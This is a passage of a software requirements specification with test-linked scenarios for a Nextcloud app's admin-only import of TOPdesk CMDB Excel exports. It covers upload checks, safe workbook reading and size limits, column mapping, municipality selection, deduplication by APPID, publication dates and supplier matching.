(default 10 MB), when its name does not end in `.xlsx`, or when its content is not a ZIP package containing `xl/workbook.xml`. Macro-enabled (`.xlsm`), legacy (`.xls`) and CSV files SHALL be rejected. No object SHALL be written in any of these cases. + +#### Scenario: A file that is not xlsx is rejected +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** a Nextcloud admin on the CMDB import section +- **WHEN** they upload `applications.csv`, or a file named `export.xlsx` whose content is plain text +- **THEN** the endpoint SHALL answer 400 with error `NOT_XLSX` +- **AND** no `module`, `organization`, `usage` or `contactPerson` object SHALL be created or changed + +#### Scenario: An oversized file is rejected before it is read +@e2e exclude Building a file over 10 MB in the browser adds nothing over the unit test; tests/Unit/Controller/CmdbImportControllerTest.php asserts 413 FILE_TOO_LARGE and that the reader is never called. + +- **GIVEN** an xlsx upload of 10 MB plus one byte +- **WHEN** a Nextcloud admin posts it to `POST /api/cmdb-import` +- **THEN** the endpoint SHALL answer 413 with error `FILE_TOO_LARGE` +- **AND** the workbook reader SHALL NOT be invoked + +#### Scenario: A user who is not a Nextcloud admin cannot import +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts asserts 403 on both routes for a signed-in user who is not an admin. tests/Unit/Controller/CmdbImportControllerTest.php (testBothRoutesAreForNextcloudAdminsOnly, testNeitherRouteDeclaresAnExemption) asserts both routes carry no attribute, declare `@auth admin-only` with a reason, and declare neither `AuthorizedAdminSetting` nor any exemption, and the Newman collection asserts 403 for a software-catalog-admins member. + +- **GIVEN** a signed-in user who is not a Nextcloud admin, for example a member of `software-catalog-admins`, or of a group an admin delegated stackiq's admin settings to +- **WHEN** they post an export to `POST /api/cmdb-import` +- **THEN** Nextcloud SHALL answer 403 +- **AND** no object SHALL be written + +#### Scenario: A request without a CSRF token is refused +@e2e exclude CSRF is enforced by Nextcloud's middleware; the Newman collection posts without a requesttoken and asserts 412. + +- **GIVEN** a Nextcloud admin session +- **WHEN** a request to `POST /api/cmdb-import` arrives without a valid `requesttoken` header or parameter +- **THEN** Nextcloud SHALL refuse it with 412 +- **AND** no object SHALL be written + +### Requirement: The workbook SHALL be read as stored data, without evaluating formulas or following links (REQ-CMDB-002) + +The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). Before PhpSpreadsheet parses any part, the reader SHALL stop with 413 `WORKBOOK_TOO_LARGE` when the unpacked sizes of the package's parts add up to more than the profile's `maxUncompressedBytes` (default 50 MB, `details.maxUncompressedBytes`), when one part unpacks to more than `maxPartBytes` (default 10 MB, `details.maxPartBytes` and `details.part`), when the shared-strings table holds more `` entries, each `` run inside an entry or inside a cell's inline string (``) counted as one more, than `maxSharedStrings` (default 200,000, `details.maxSharedStrings`), counted with a streaming reader without building the table and whatever its `count` attributes claim, or when the shared-string text the cells reference adds up to more than `maxReferencedStringBytes` (default 64 MB, `details.maxReferencedStringBytes`), each entry counted once per referencing cell and weighed by its text and its runs. PhpSpreadsheet builds the shared-strings table and each loaded sheet's XML tree whole before a read filter applies, so these bounds, not the read filter, keep a small file that unpacks to far more from exhausting the server's memory. + +#### Scenario: A formula cell yields its cached value and is not evaluated +@e2e exclude Reader behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture whose source sheet has a formula cell and asserts the cached value is returned and the calculation engine is never invoked. + +- **GIVEN** a CMDB sheet where column "Applicatie Naam" in row 2 holds a formula with a cached value `Rekenmodel` +- **WHEN** the workbook is read +- **THEN** the row SHALL carry `Applicatie Naam = Rekenmodel` +- **AND** the formula SHALL NOT be evaluated + +#### Scenario: A formula without a cached value is read as empty with a warning +@e2e exclude Reader and service behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture whose "Roepnaam" formula has no cached value, and tests/Unit/Service/CmdbExportImportServiceTest.php asserts the row warning. + +- **GIVEN** a CMDB sheet where column "Roepnaam" in row 2 holds a formula without a cached value +- **WHEN** the workbook is imported +- **THEN** the row SHALL be imported with an empty "Roepnaam" +- **AND** the row's report entry SHALL carry the warning `Column "Roepnaam": formula without a cached value, read as empty` + +#### Scenario: An external data connection in the workbook is never contacted +@e2e exclude Network isolation; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture that declares an external connection, with a reader that has no HTTP client, and asserts the read succeeds. + +- **GIVEN** an export that contains `xl/connections.xml` with an external data connection +- **WHEN** the workbook is read +- **THEN** no network request SHALL be made +- **AND** the source sheets SHALL be read normally + +#### Scenario: A workbook that unpacks beyond the limit is refused before it is parsed +@e2e exclude A browser upload adds nothing over the reader test; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php testAWorkbookThatUnpacksBeyondTheLimitIsRefusedBeforeParsing builds a package under the limit whose sheet unpacks beyond it and asserts 413 WORKBOOK_TOO_LARGE with the limit, before PhpSpreadsheet is reached, and tests/Unit/Controller/CmdbImportControllerTest.php asserts the status and the translated message. + +- **GIVEN** an xlsx package of a few kilobytes whose sheet XML unpacks to more than `maxUncompressedBytes` +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 413 with error `WORKBOOK_TOO_LARGE` and `details.maxUncompressedBytes` set to the limit +- **AND** no sheet SHALL be parsed and no object SHALL be written + +#### Scenario: A workbook with an oversized part or shared-strings table is refused before it is parsed +@e2e exclude A browser upload adds nothing over the reader test; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php testAPartBeyondThePartLimitIsRefusedBeforeLoading builds a package under `maxUncompressedBytes` whose shared-strings part, and one whose sheet part, unpacks beyond `maxPartBytes`, and testASharedStringsTableBeyondTheLimitIsRefusedBeforeLoading builds one with more `` entries than `maxSharedStrings` while its `uniqueCount` claims 1; both assert WORKBOOK_TOO_LARGE with the limit and that PhpSpreadsheet loaded nothing. + +- **GIVEN** an xlsx package under `maxUncompressedBytes` whose `xl/sharedStrings.xml` unpacks to more than `maxPartBytes`, or holds more entries than `maxSharedStrings` +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 413 with error `WORKBOOK_TOO_LARGE`, and `details` SHALL name the limit (and for a part, the part) +- **AND** no sheet SHALL be loaded and no object SHALL be written + +#### Scenario: One shared string referenced by many cells is refused before it is parsed +@e2e exclude A browser upload adds nothing over the reader test; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php testOneSharedStringReferencedByManyCellsIsRefusedBeforeLoading builds a small package whose cells all reference one rich-text string of 500 runs, and one whose cells all reference one 20,000-character string, and asserts WORKBOOK_TOO_LARGE with the limit and that PhpSpreadsheet loaded nothing; testSharedStringsWithinTheReferenceLimitAreRead reads one under the limit. + +- **GIVEN** an xlsx package within every other limit whose cells reference shared strings that together weigh more than `maxReferencedStringBytes` +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 413 with error `WORKBOOK_TOO_LARGE` and `details.maxReferencedStringBytes` +- **AND** no sheet SHALL be loaded and no object SHALL be written + +### Requirement: Columns SHALL be resolved by header name, and a missing required column SHALL stop the import with 422 (REQ-CMDB-003) + +The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB"; the "Invoer" sheets SHALL NOT be read. The reader SHALL take the first row of each source sheet as headers and SHALL match them to the profile's column names per sheet, case-insensitively, after trimming whitespace and dropping a trailing `:` or `⚡`. Column order SHALL NOT matter. When a present source sheet lacks a column the profile marks as required (`APPID`, `Applicatie Naam`), the endpoint SHALL answer 422 with error `MISSING_COLUMN`, naming the column and the sheet, before any object is written. When neither source sheet exists, the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET`, naming both expected sheets. A missing optional column SHALL produce one import-level warning and no row error, except for a column the profile lists as absent on that sheet (`Nickname` on "Onbeh Applicaties CMDB"). + +#### Scenario: A missing required column is named in the 422 response +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** an export whose sheet "Beheerde Applicaties CMDB" has no column "APPID" +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 422 with error `MISSING_COLUMN`, column `APPID` and sheet `Beheerde Applicaties CMDB` +- **AND** the section SHALL show that column and sheet name to the admin +- **AND** no object SHALL be written + +#### Scenario: Columns in a different order map the same +@e2e exclude Reader behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture with shuffled columns and asserts identical rows. + +- **GIVEN** an export where "Applicatie Naam" comes before "APPID" and the header reads `Vendor⚡` +- **WHEN** the workbook is read +- **THEN** every row SHALL carry the same values under the profile's column names as in the original order + +#### Scenario: A workbook without either source sheet is refused +@e2e exclude Same error path as the missing column; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php asserts NO_SOURCE_SHEET naming both sheets. + +- **GIVEN** an xlsx that contains only a sheet "Blad1" +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET` naming "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB" + +### Requirement: Every import SHALL have exactly one consuming municipality, chosen by the admin (REQ-CMDB-004) + +The request SHALL carry either `municipalityUuid`, the uuid of an existing stackiq `organization` of type `Municipality`, or `municipalityName`, a name for a new one. With a name, the service SHALL reuse the one live organisation of type `Municipality` (not `merged`, not `Inactive`) with the same normalised name, or, when there is none, create one through the municipality pack (type `Municipality`, status `Active`) and add an import-level warning saying so. When more than one live organisation of type `Municipality` has that normalised name, it SHALL NOT guess: it SHALL answer 422 `MUNICIPALITY_AMBIGUOUS` with their uuids in `details.matches`, and SHALL write nothing. It SHALL answer 422 `MUNICIPALITY_REQUIRED` when neither is given, and 422 `MUNICIPALITY_INVALID` when the uuid does not resolve to an organisation of type `Municipality`, or resolves to a merged one. The section SHALL offer only live organisations of type `Municipality` (not `merged`, not `Inactive`, not without a type), SHALL tell municipalities with the same name apart in the list, and SHALL send a typed name as `municipalityName`, so the server applies the rules above; only an option picked from the list SHALL be sent as `municipalityUuid`. Every `usage` and `contactPerson` the import writes SHALL reference that organisation. + +#### Scenario: The admin picks an existing municipality +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** an organisation "Gemeente Voorbeeldstad" of type `Municipality` +- **WHEN** a Nextcloud admin selects it and imports the anonymised export +- **THEN** both imported usages SHALL have `consumer` = the uuid of "Gemeente Voorbeeldstad" +- **AND** no new organisation of type `Municipality` SHALL be created + +#### Scenario: A new municipality is created once from a typed name +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** no organisation named "Gemeente Voorbeeldstad" +- **WHEN** a Nextcloud admin imports with `municipalityName` "Gemeente Voorbeeldstad", and later imports again with the same name +- **THEN** exactly one organisation "Gemeente Voorbeeldstad" of type `Municipality` and status `Active` SHALL exist + +#### Scenario: An import without a municipality is refused +@e2e exclude Validation; tests/Unit/Controller/CmdbImportControllerTest.php asserts 422 MUNICIPALITY_REQUIRED, and 422 MUNICIPALITY_INVALID for the uuid of a Supplier organisation. + +- **GIVEN** a valid export +- **WHEN** a Nextcloud admin posts it with neither `municipalityUuid` nor `municipalityName` +- **THEN** the endpoint SHALL answer 422 with error `MUNICIPALITY_REQUIRED` +- **AND** no object SHALL be written + +#### Scenario: A name that several municipalities share is refused +@e2e exclude Needs two municipalities with the same name in the register; tests/Unit/Service/CmdbExportImportServiceTest.php testAnAmbiguousMunicipalityNameIsRefused seeds "Gemeente Bergen" and "gemeente bergen" and asserts 422 MUNICIPALITY_AMBIGUOUS naming both uuids with no save, and tests/Unit/Controller/CmdbImportControllerTest.php asserts the status and the translated message. + +- **GIVEN** two live organisations of type `Municipality` named `Gemeente Bergen` and `gemeente bergen` +- **WHEN** a Nextcloud admin imports a valid export with `municipalityName` `Gemeente Bergen` +- **THEN** the endpoint SHALL answer 422 with error `MUNICIPALITY_AMBIGUOUS` and `details.matches` holding both uuids +- **AND** no object SHALL be written, and no third municipality SHALL be created +- **AND** the section SHALL ask the admin to pick the municipality from the list + +#### Scenario: The section sends a typed name to the server and lists only live municipalities +@e2e exclude Needs two municipalities with the same name in the register; src/views/settings/sections/CmdbImport.spec.js mounts the section with two live "Gemeente Bergen", a merged and an inactive municipality, asserts only the two live ones are offered, and that a typed "gemeente bergen" is posted as municipalityName and shows MUNICIPALITY_AMBIGUOUS; src/utils/cmdbImport.spec.js covers the option list and the typed option. + +- **GIVEN** two live municipalities named `Gemeente Bergen`, a merged one and an inactive one +- **WHEN** the admin opens the section and types `gemeente bergen` +- **THEN** the list SHALL offer only the two live ones, with labels that differ +- **AND** the request SHALL carry `municipalityName` and no `municipalityUuid`, and the section SHALL show the `MUNICIPALITY_AMBIGUOUS` message + +### Requirement: Field mapping SHALL be declarative and executed by OpenRegister's mapping engine (REQ-CMDB-005) + +The service SHALL map each normalised row with OpenRegister's `MigrationPack\MappingEngine::mapRow()`, once per target pack: module, manufacturer, municipality, usage, business owner. The packs and the import profile SHALL ship as JSON under `lib/Settings/cmdb-import/`. Each pack SHALL pass OpenRegister's `PackDefinitionValidator` when the import starts; an invalid pack, or a missing `MappingEngine`, SHALL stop the import with 503 `MAPPING_UNAVAILABLE` before any row is read. Before mapping, the service SHALL convert the cells of the profile's date columns from Excel serial numbers to `Y-m-d`, SHALL turn numeric id cells into strings without a decimal part, SHALL read a value the profile lists as empty for its column (`NB` in "BNN Classificatie"; dates, "End-of-Life Functioneel" included, are kept as the file has them) as empty, and SHALL add the constants of the row's sheet (`Beheer` = `Beheer geregeld: nee` or `ja`). A mapping error on a mapping marked `required` in the module pack SHALL skip the row. In the manufacturer and owner packs it SHALL mean the row has no manufacturer or no such owner, without a warning. A mapping error on any other mapping SHALL drop only that field and add a row warning naming the column and the value. The reader SHALL keep only the columns that the profile or a pack references, and SHALL discard every other cell when it reads the row. + +#### Scenario: Excel serial dates are converted before mapping +@e2e exclude Pure transformation; tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php asserts the conversions below. + +- **GIVEN** the "Onbeh" row of the anonymised export with "Datum" = `45111.380322627316` and "Referentie datum wijziging" = `46232.552113113423`, and the "Beheerde" row with "End-of-Life Functioneel" = `53359` +- **WHEN** the rows are normalised +- **THEN** "Datum" SHALL be `2023-07-04`, "Referentie datum wijziging" SHALL be `2026-07-29`, and "End-of-Life Functioneel" SHALL be `2046-02-01` +- **AND** "APPID" `1234` SHALL be the string `"1234"` +- **AND** "BNN Classificatie" `NB` SHALL be empty +- **AND** "End-of-Life Functioneel" `49675` SHALL be `2036-01-01` + +#### Scenario: Changing a pack changes the mapping without code +@e2e exclude Configuration behaviour; tests/Unit/Service/CmdbExportImportServiceTest.php loads an alternate module pack that maps "Software Suite" to licentietype and asserts the mapped module. + +- **GIVEN** the module pack is edited to add a mapping from "Software Suite" to `licentietype` +- **WHEN** an export is imported whose row has "Software Suite" = `Suite` +- **THEN** the created module SHALL have `licentietype` = `Suite` +- **AND** no PHP code SHALL have changed + +#### Scenario: An unknown status value drops only that field +@e2e exclude Mapping behaviour; tests/Unit/Service/CmdbExportImportServiceTest.php asserts the row outcome and warning. + +- **GIVEN** a row whose "Applicatie Status" is `Onbekende status`, which the usage pack's lookup does not contain +- **WHEN** the row is imported +- **THEN** the module and the usage SHALL be saved without a status from the export +- **AND** the row's report entry SHALL carry a warning naming column "Applicatie Status" and value `Onbekende status` + +#### Scenario: The classifications map to the stackiq fields +@e2e exclude Mapping behaviour; tests/Unit/Service/CmdbExportImportServiceTest.php imports the fixture and asserts the fields. + +- **GIVEN** the "Beheerde" row of the anonymised export with "Applicatiesoort" `Saas`, "BNN Classificatie" `BBN2`, "Classificatie" `Tolereren` and "End-of-Life Functioneel" `53359` +- **WHEN** it is imported +- **THEN** the module SHALL have `applicationType` = `Saas`, `cloudDienstverleningsmodel` = `["SaaS"]` and `bbnLevel` = `BBN2` +- **AND** the usage SHALL have `timeClassification` = `Tolerate` and `startDateOutPhased` = `2046-02-01` +- **AND** the "Onbeh" row's "Applicatiesoort" `Webapplicatie`, which is not a hosting model, SHALL be stored as `applicationType` and SHALL leave `cloudDienstverleningsmodel` empty without a warning +- **AND** "BNN Classificatie" `1`, `2`, `2+` SHALL be `BBN1`, `BBN2`, `BBN2+` + +### Requirement: A module SHALL be matched on its TOPdesk APPID, so a re-import updates instead of duplicating (REQ-CMDB-006) + +For each row the service SHALL compute `externalKey` = `topdesk::` (the APPID is TOPdesk's ICT Applicatienummer; the Applicatie Code, or Middel-ID, can change in TOPdesk and is stored as `externalId` for reference only) and look up a `module` with that `externalKey`. When none exists it SHALL create one. A module found by its `externalKey` SHALL be treated as a match only when it has a usage whose `consumer` is the municipality, or no usage at all; a module that only other organisations use SHALL NOT be changed and SHALL NOT be duplicated, and the row SHALL be skipped with reason `conflict: the application with this import key is used by another organisation, so it is not changed`, whatever `updateExisting` says. `module.externalKey` SHALL carry a property-level rule that lets only Nextcloud admins (group `admin`) create or change it; the import writes it with RBAC off. When a match exists the service SHALL update only the fields the module pack maps and SHALL leave every other field as it is. When the mapped fields equal the stored values it SHALL NOT save the module and SHALL report the row as `unchanged`. With `updateExisting=false` a matched row SHALL be reported as `skipped` with reason `exists`, without changes. A row without an APPID SHALL be skipped with reason `missing APPID`. When an APPID occurs more than once on one sheet, the first occurrence SHALL be imported and every later one SHALL be skipped with reason `duplicate APPID in file`. When an APPID occurs on both sheets, the row of the sheet the profile's `sheetPrecedence` ranks first ("Beheerde Applicaties CMDB") SHALL be imported, whichever sheet the export lists first, and the other row SHALL be skipped with reason `duplicate APPID in file` and a warning naming the APPID and the winning sheet. Before the file is read, the service SHALL check that the `module`, `organization`, `usage` and `contactPerson` schemas declare every property it matches on (for `module`: `externalKey`, `externalId`, `externalNumber`), and that the `module` schema is at least 0.3.8: it declares `applicationType` and `externalKey` carries an `authorization.update` rule for `admin`; when one lacks any, it SHALL answer 503 `SCHEMA_OUTDATED` with `details.schema` and `details.missing`, and SHALL write nothing, because OpenRegister answers a filter on an undeclared property with no rows and every row would be created again. + +#### Scenario: Re-importing the same export creates no duplicates +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** the anonymised export was imported once for "Gemeente Voorbeeldstad", which created the modules with APPID `1234` and `2` +- **WHEN** the same export is imported again for the same municipality +- **THEN** the report SHALL show 0 created and 2 unchanged rows +- **AND** the number of modules, organisations, usages and contact persons in the register SHALL be the same as after the first import + +#### Scenario: A changed field is updated on re-import +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports a row, changes "Applicatie Naam" of APPID 2 to `naamtest124` in the row data, imports again, and asserts one module with the new name. + +- **GIVEN** the module with APPID `2` was imported with name `naamtest123`, and an admin has since set its `website` +- **WHEN** a newer export where "Applicatie Naam" for APPID `2` is `naamtest124` is imported +- **THEN** the same module SHALL now have name `naamtest124` +- **AND** its `website` SHALL be unchanged +- **AND** the report SHALL show the row as `updated` + +#### Scenario: An APPID that occurs twice in one file is imported once +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php feeds two rows with the same APPID, also across both sheets. + +- **GIVEN** an upload where APPID `2` appears in row 2 and row 7 of "Beheerde Applicaties CMDB" +- **WHEN** it is imported +- **THEN** row 2 SHALL be imported +- **AND** row 7 SHALL be reported as `skipped` with reason `duplicate APPID in file` + +#### Scenario: A changed Applicatie Code keeps the same module +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports APPID 42 with two different codes. + +- **GIVEN** the module with APPID `42` was imported with "Applicatie Code" `APP-Oud` +- **WHEN** a newer export has APPID `42` with "Applicatie Code" `App-Nieuw` +- **THEN** the same module SHALL be updated, with `externalId` = `App-Nieuw` and the same `externalKey` + +#### Scenario: An import key on another organisation's application is a conflict +@e2e exclude Needs a module of a second organisation carrying the first one's import key, which a browser user cannot set; tests/Unit/Service/CmdbExportImportServiceTest.php testAnImportKeyOnAnotherOrganisationsModuleIsAConflict asserts the row is skipped with the conflict reason under both updateExisting values, the module unchanged and no module or usage created, and testAModuleThisMunicipalityUsesOrNobodyUsesIsUpdated asserts a module the municipality shares with another, or that nobody uses yet, is still updated. + +- **GIVEN** a module of "Gemeente Anderstad", used only by that municipality, whose `externalKey` is `topdesk::1` +- **WHEN** a Nextcloud admin imports an export with APPID `1` for "Gemeente Voorbeeldstad" +- **THEN** the row SHALL be `skipped` with reason `conflict: the application with this import key is used by another organisation, so it is not changed` +- **AND** the module of "Gemeente Anderstad" SHALL be unchanged, and no module and no usage SHALL be created +- **AND** a module with that key that "Gemeente Voorbeeldstad" uses, or that no organisation uses yet, SHALL be updated as before + +#### Scenario: Only an admin can change the import key +@e2e exclude Property-level write rules are enforced by OpenRegister's PropertyRbacHandler; tests/Unit/Settings/TopdeskCmdbFragmentTest.php testTheMergedModuleIsVersion038WithTheExternalIds asserts the merged module schema gives externalKey the update rule `admin` next to its read rule. + +- **GIVEN** a signed-in member of `software-catalog-admins` who is not a Nextcloud admin +- **WHEN** they save a module with a changed `externalKey` +- **THEN** OpenRegister SHALL refuse the save naming `externalKey` +- **AND** the module's `externalKey` SHALL stay as it was, while a Nextcloud admin and the import can still set it + +#### Scenario: An APPID on both sheets is imported from the Beheerde sheet +@e2e exclude Needs a workbook with the same APPID on both sheets; tests/Unit/Service/CmdbExportImportServiceTest.php testTheBeheerdeRowWinsOverTheOnbehRow lists the "Onbeh" row first and asserts the "Beheerde" row is created, the other skipped with its reason and warning. + +- **GIVEN** an upload where APPID `8` is on row 2 of "Onbeh Applicaties CMDB" as `Onbeheerd` and on row 5 of "Beheerde Applicaties CMDB" as `Beheerd` +- **WHEN** it is imported +- **THEN** one module named `Beheerd` SHALL be created, whose usage note starts with `Beheer geregeld: ja` +- **AND** the "Onbeh" row SHALL be `skipped` with reason `duplicate APPID in file` and the warning `APPID 8 is also on sheet "Beheerde Applicaties CMDB", which wins; this row is not imported` + +#### Scenario: An outdated register schema stops the import before it reads the file +@e2e exclude Needs a register whose module schema predates the import's properties; tests/Unit/Service/CmdbExportImportServiceTest.php testAModuleSchemaWithoutTheMatchPropertiesStopsTheImport removes externalKey from the module schema and asserts 503 SCHEMA_OUTDATED naming the schema and the properties, before any search and with no save, and tests/Unit/Controller/CmdbImportControllerTest.php asserts the status and the translated message. + +- **GIVEN** an install whose `module` schema does not declare `externalKey` +- **WHEN** a Nextcloud admin imports a valid export +- **THEN** the endpoint SHALL answer 503 with error `SCHEMA_OUTDATED`, `details.schema` = `module` and `details.missing` containing `externalKey` +- **AND** the workbook SHALL NOT be read and no object SHALL be written +- **AND** the section SHALL point the admin to importing the register configuration again + +#### Scenario: A module schema from before 0.3.8 stops the import +@e2e exclude Needs a register whose module schema predates 0.3.8; tests/Unit/Service/CmdbExportImportServiceTest.php testAModuleSchemaFromBefore038StopsTheImport removes `applicationType` and the `externalKey` update rule from the module schema, then the rule alone, and asserts SCHEMA_OUTDATED naming each, with no save. + +- **GIVEN** an install whose `module` schema declares `externalKey`, `externalId` and `externalNumber`, but not `applicationType`, and whose `externalKey` carries no `authorization.update` rule for `admin` +- **WHEN** a Nextcloud admin imports a valid export +- **THEN** the endpoint SHALL answer 503 with error `SCHEMA_OUTDATED`, `details.schema` = `module` and `details.missing` = `["applicationType", "externalKey.authorization.update"]` +- **AND** no object SHALL be written, so the import never runs while any module editor can still change `externalKey` + +### Requirement: A newly created module SHALL get a publicationDate when the admin publishes, and an existing one SHALL keep its own (REQ-CMDB-007) + +The request SHALL carry `publish`, `true` by default, parsed like `updateExisting`: `true`, `false`, `1` or `0`, trimmed and in any case; any other value SHALL be refused with 400 `FIELD_INVALID` naming the field and the accepted values, before anything is read or written. With `publish=true`, when the service creates a `module` it SHALL set `publicationDate` to the time the import started, as an ISO 8601 date-time, so OpenCatalogi lists the module, also to anonymous visitors. With `publish=false` it SHALL create the module without a `publicationDate`, so the module is not public until an admin publishes it, and the report summary SHALL count those modules in `unpublished`. When it updates an existing `module` it SHALL NOT change `publicationDate` or `depublicationDate`, whatever `publish` says, also when they are empty. The section SHALL offer the choice as a switch "Publish the applications this import creates", on by default, whose help text says a published application is visible to anyone, including anonymous visitors of OpenCatalogi. + +#### Scenario: OpenCatalogi can list an imported application +@e2e exclude Crosses into OpenCatalogi, whose catalogue configuration is outside this change; tests/Unit/Service/CmdbExportImportServiceTest.php asserts publicationDate on created modules, and the manual test plan checks the search in OpenCatalogi. + +- **GIVEN** an OpenCatalogi catalogue that includes the stackiq register's `module` schema +- **WHEN** the anonymised export is imported with `publish` left at its default, `true` +- **THEN** each created module SHALL have a `publicationDate` that is not later than the moment the import finished +- **AND** a search in OpenCatalogi for `Aangetekend Mailen` SHALL find the module + +#### Scenario: Re-import preserves publicationDate +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testTheFixtureCreatesModulesUsagesAndSuppliers asserts publicationDate on created modules, and testAnUpdateNeverWritesPublicationDate asserts an update leaves it as it was. + +- **GIVEN** the module with APPID `1234` was imported with `publicationDate` 2026-10-01T09:00:00+00:00, and the module with APPID `2` was later depublished by an admin +- **WHEN** a newer export is imported that changes both modules' names +- **THEN** the module with APPID `1234` SHALL keep `publicationDate` 2026-10-01T09:00:00+00:00 +- **AND** the module with APPID `2` SHALL keep its `depublicationDate` and SHALL NOT get a new `publicationDate` + +#### Scenario: An import with publishing off creates unpublished modules +@e2e exclude The outcome is the absence of a field on the stored module; tests/Unit/Service/CmdbExportImportServiceTest.php testPublishDecidesThePublicationDateOfCreatedModulesOnly imports with publish false and asserts no publicationDate on the created modules, the unpublished count, and an updated module's publicationDate unchanged, then with publish true and absent asserts it is set, and src/utils/cmdbImport.spec.js asserts the section sends the switch as publish. + +- **GIVEN** a module with APPID `1` that was published on 2026-01-01, and an export with APPID `1`, `2` and `3` +- **WHEN** a Nextcloud admin turns off "Publish the applications this import creates" and imports it +- **THEN** the modules for APPID `2` and `3` SHALL be created without a `publicationDate`, so an anonymous OpenCatalogi visitor does not find them +- **AND** the report summary SHALL show `unpublished` = 2 +- **AND** the module with APPID `1` SHALL be updated and SHALL keep `publicationDate` 2026-01-01 + +#### Scenario: An unrecognised publish value is refused +@e2e exclude Validation; tests/Unit/Controller/CmdbImportControllerTest.php testPublishAcceptsOnlyExplicitValues asserts every accepted spelling and 400 FIELD_INVALID for the others with no import, and the Newman collection posts publish=maybe and asserts the 400. + +- **GIVEN** a valid export +- **WHEN** an API caller posts it with `publish=maybe` +- **THEN** the endpoint SHALL answer 400 with error `FIELD_INVALID`, `details.field` = `publish` and `details.accepted` = `["true", "false"]` +- **AND** the workbook SHALL NOT be read and no object SHALL be written + +### Requirement: A manufacturer SHALL become one supplier organisation, however many rows name it (REQ-CMDB-008) + +The service SHALL map "Vendor" (the maker of the software) through the manufacturer pack to an `organization`. It SHALL match names after trimming, collapsing whitespace and ignoring case, first against the organisations it has already resolved during this import, then against existing organisations of type `Municipality`, then of type `Supplier`, and SHALL create one of type `Supplier` only when none matches. A Vendor that is the municipality's own name SHALL therefore reference the municipality, so one municipality is never also a second, Supplier organisation. The imported module's `provider` and the usage's `provider` SHALL reference that organisation. A row with an empty "Vendor" SHALL be imported without a provider. "Leverancier" and "Hostingpartij" SHALL NOT be read. It SHALL resolve the manufacturer only after the module match has decided the row is created or updated, so a row skipped as a conflict or as `exists` creates no organisation. + +#### Scenario: Rows with the same manufacturer share one organisation +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php feeds three rows with "Fabfrikant", "Fabfrikant " and "FABFRIKANT". + +- **GIVEN** three rows whose "Vendor" is `Fabfrikant`, `Fabfrikant ` and `FABFRIKANT` +- **WHEN** they are imported +- **THEN** exactly one organisation `Fabfrikant` of type `Supplier` SHALL exist +- **AND** all three modules SHALL have `provider` = its uuid + +#### Scenario: A skipped row creates no supplier +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAnImportKeyOnAnotherOrganisationsModuleIsAConflict and testUpdateExistingFalseSkipsMatches assert the organisation store is unchanged after a conflict row and after an `exists` row with a vendor not seen before. + +- **GIVEN** a row whose module is a conflict, or exists while "Update existing records" is off, and whose "Vendor" names no known organisation +- **WHEN** it is imported +- **THEN** the row SHALL be reported as skipped +- **AND** no organisation SHALL be created + +#### Scenario: An existing supplier is reused +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAVendorIsOneSupplier seeds the Supplier "Aangetekend B.V." and asserts that the module of its row gets it as provider and no second supplier is created. + +- **GIVEN** an existing organisation `Aangetekend B.V.` of type `Supplier` +- **WHEN** the "Onbeh" row with "Vendor" `Aangetekend B.V.` is imported +- **THEN** no new organisation SHALL be created +- **AND** the module with APPID `1234` SHALL have `provider` = the existing organisation's uuid + +#### Scenario: A municipality that builds its own applications stays one organisation +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAVendorNamedAsTheMunicipalityIsTheMunicipality seeds a Municipality and a Supplier of the same name and asserts both rows get the Municipality as provider and no organisation is created. + +- **GIVEN** the municipality `Gemeente Voorbeeldstad` and rows whose "Vendor" is `Gemeente Voorbeeldstad` +- **WHEN** they are imported +- **THEN** their modules SHALL have `provider` = the municipality's uuid +- **AND** no organisation of type `Supplier` named `Gemeente Voorbeeldstad` SHALL be created + +### Requirement: Each imported application SHALL have one usage that links it to the municipality (REQ-CMDB-009) + 